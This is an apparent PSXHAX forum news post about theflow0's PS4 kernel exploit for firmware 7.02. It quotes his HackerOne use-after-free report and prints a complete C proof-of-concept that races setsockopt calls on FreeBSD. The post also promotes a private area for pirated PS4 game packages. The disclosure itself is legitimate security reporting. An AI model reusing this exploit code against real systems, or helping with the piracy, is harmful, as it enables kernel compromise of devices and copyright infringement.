Join Us and become a Member for a Verified Badge on Discord to access private areas with the latest PS4 FPKGs.
Category PS4 Jailbreaking       Thread starter PSXHAX       Start date Jul 6, 2020 at 4:49 PM       217,038       465            
As promised last month, PlayStation 4 scene developer theflow0 just dropped the PS4 Kernel Exploit (KEX) for Firmware 7.02 and below which was patched by Sony in 7.50 PS4 OFW (Current OFW is 7.51) and can be chained together with a WebKit exploit like the previously released userland PS4 6.XX WebKit Exploit by Fire30_ that works up to 6.72 PS4 Firmware according to theflow0 with Mira support for 6.72 added as well! 😻
:alert: This means although today's PS4 kernel exploit works up to Firmware 7.02 there is currently only a PS4 userland exploit up to 6.72 publicly available!

Scene Dev @Al Azif suggests on Twitter that nobody should update until the full PS4 jailbreak is released, but for those who can't wait it's advisable NOT to update past 6.72 per @DEFAULTDNB on Twitter until a WebKit exploit supporting 7.02 surfaces!
:alert:

He sends thanks out to diwidog, flat_z, SpecterDev and PlayStation for the collaboration and while not all PlayStation scene developers may be on the same page with how it was handled through Sony's PlayStation Bug Bounty Program, to others it's a win-win as theflow0 received a cash bounty of $10k for his report and the PS4 scene reaped the benefit of having it publicly disclosed today for those who haven't updated to enjoy as a full jailbreak arrives! 💞

Those who'd like to show their appreciation and donate to theflow0 can do so the following ways:
  • via bitcoin 361jRJtjppd2iyaAhBGjf9GUCWnunxtZ49
  • via PayPal
  • via Patreon
To quote from the report via HackerOne.com: Use-After-Free In IPV6_2292PKTOPTIONS leading To Arbitrary Kernel R/W Primitives

Summary


Due to missing locks in option IPV6_2292PKTOPTIONS of setsockopt , it is possible to race and free the struct ip6_pktopts buffer, while it is being handled by ip6_setpktopt. This structure contains pointers (ip6po_pktinfo) that can be hijacked to obtain arbitrary kernel R/W primitives.

As a consequence, it is easy to have kernel code execution. This vulnerability is reachable from WebKit sandbox and is available in the latest FW, that is 7.02.

Attachment

Attached is a Proof-Of-Concept that achieves a Local Privilege Escalation on FreeBSD 9 and FreeBSD 12.
Impact
  • In conjunction with a WebKit exploit, a fully chained remote attack can be achieved.
  • It is possible to steal/manipulate user data.
  • Dump and run backup games.
Code:
/*
* Race condition in ip6_ctloutput where in6p is not locked when calling
* ip6_pcbopts, which allows for a use after free on in6p->in6p_outputopts
*
* Build: gcc -std=c99 -o poc poc.c -lpthread
* Run: ./poc
*
* Discovered by TJ Corley 8/15/2018
*/

#include <netinet/in.h>
#include <pthread.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>

#define IPV6_2292PKTOPTIONS 25

int s;

static void spam_valid() {
    char ctrl[CMSG_SPACE(sizeof(int))];

    struct cmsghdr *cmsg = (struct cmsghdr *)&ctrl;
    cmsg->cmsg_len = CMSG_LEN(4);
    cmsg->cmsg_level = IPPROTO_IPV6;
    cmsg->cmsg_type = IPV6_TCLASS;

    char *data = (char *)CMSG_DATA(cmsg);
    *(int *)data = 0x4;

    printf("spamming valid IPV6_2292PKTOPTIONS\n");
    for (;;) {
        setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, cmsg, CMSG_LEN(4));
    }
}

static void spam_zero_size_mbuf() {
    char *buf[0x4] = {};
    printf("spamming zero size mbuf\n");
    for (;;) {
        setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, buf, 0);
    }
}

int main() {
    pthread_t t;
    s = socket(AF_INET6, SOCK_DGRAM, 0);
    pthread_create(&t, NULL, (void *)spam_valid, NULL);
    spam_zero_size_mbuf();
}
Download: PS4UPDATE.pup (995.5 MB - PS4 6.72 Recovery PUP - MD5: 8140fdd70c1061c379f08566be022ecb) / Mirror / Mirror #2 / Mirror #3 / Mirror #4 via EuropaPeixe
Download: PS4UPDATE.pup (442.4 MB - PS4 6.72 Update PUP - MD5: f3a31f64d894dc06040498cd7383bec2) / Mirror / Mirror #2 / Mirror #3 / Mirror #4 via EuropaPeixe
Cheers to @jwooh for the heads-up on the exploit news, and with Discord help for PSXHAX Member Verifications to access the private area for the latest PS4 PKG games! 🍻
PS4 Kernel Exploit (KEX) for 7.02 Firmware, Wait for Jailbreak Before Updating!.png
 

Comments

teuira

Senior Member
Contributor
Verified
that's great news !!! I'd like to ask if our "family" psxhax have also another way to receive our appreciation other than paypal? like crypto or else... thank you and wonderful day to all

i didn't know where to ask it. lol
 

PSXHAX

Staff Member
Moderator
Verified
Thanks for asking, all we have on PSXHAX is VIP memberships that process via PayPal... I never got into the crypto currency trend, too old to trust new things I guess. :D
 

shadmehr123

Member
Contributor
hi.
My PS4 was jailbreak version 5.05. And was automatically updated. And after that, turning on PS4 on the first page loading regiment stops and says: Provide unit with a valid network connection or insert IDU update disc.

And when holding down the buttons :sps3l1button: :sps3l2button: :sps3r1button: :sps3r2button: :dpad-up: :start: I enter the Staff Mode section and then I connect to the Internet. The OMSK file is automatically downloaded and installed.

Then, after downloading and installing the OMSK file, it enters the program and writes there: Updating from server... (But the server will never be updated)

Someone can help? :tiredface::tiredface:
 
Recent Articles
PlayStation 5 Model CFI-1018A Console Images with PS5 Accessories via FCC
Thus far we've seen the official DualSense Wireless Controller Images, official PlayStation 5 Images, some Prototype Images and with the PS5 Price and Release Date known this weekend geronimo_73...
Sony CEO Confirms PS5 Won't Natively Support PS1, PS2 nor PS3 Games
In contrast to Microsoft's upcoming Xbox Series X console that will also play original Xbox, Xbox 360 and Xbox One games at launch, Sony CEO Jim Ryan confirmed in a Famitsu Interview following the...
Call of Duty: Black Ops Cold War PS4 Alpha Live September 18-20th
Proceeding the Call of Duty: Black Ops Cold War PS4 and Call of Duty: Black Ops Cold War PS4 Multiplayer trailers, starting today Activision announced that the Call of Duty: Black Ops Cold War PS4...
Demon's Souls PS5 Gameplay Trailer and More PlayStation 5 Videos!
As a massive fan of the original King's Field series on PSX and PS2 from the Japanese video game company From Software, this is one franchise I don't mind seeing milked unlike so many other...
Top